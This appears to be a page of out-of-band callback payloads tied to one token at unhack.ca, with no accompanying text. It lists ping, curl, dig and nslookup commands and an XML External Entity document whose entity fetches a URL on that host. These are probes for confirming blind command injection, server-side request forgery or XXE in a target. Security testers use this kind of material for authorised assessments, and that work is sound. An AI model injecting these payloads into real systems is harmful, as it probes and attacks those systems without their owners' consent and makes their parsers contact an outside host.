$ ping -c1 -p 00e1f509adb47097f388cbcecb95ec00 unhack.ca
 

$ curl http://unhack.ca/p/e1f509adb47097f388cbcecb95ec
 

$ dig e1f509adb47097f388cbcecb95ec @unhack.ca
 

$ dig e1f509adb47097f388cbcecb95ec.ns.unhack.ca
 

C:\> nslookup e1f509adb47097f388cbcecb95ec unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e1f509adb47097f388cbcecb95ec">]>
    <foo>&xxe;</foo>